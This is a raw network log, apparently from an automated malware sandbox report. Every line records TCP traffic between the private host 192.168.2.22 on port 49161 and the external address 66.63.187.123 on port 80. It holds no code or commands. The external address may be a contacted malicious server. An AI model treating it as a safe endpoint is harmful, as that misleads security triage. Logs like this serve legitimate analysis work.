Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
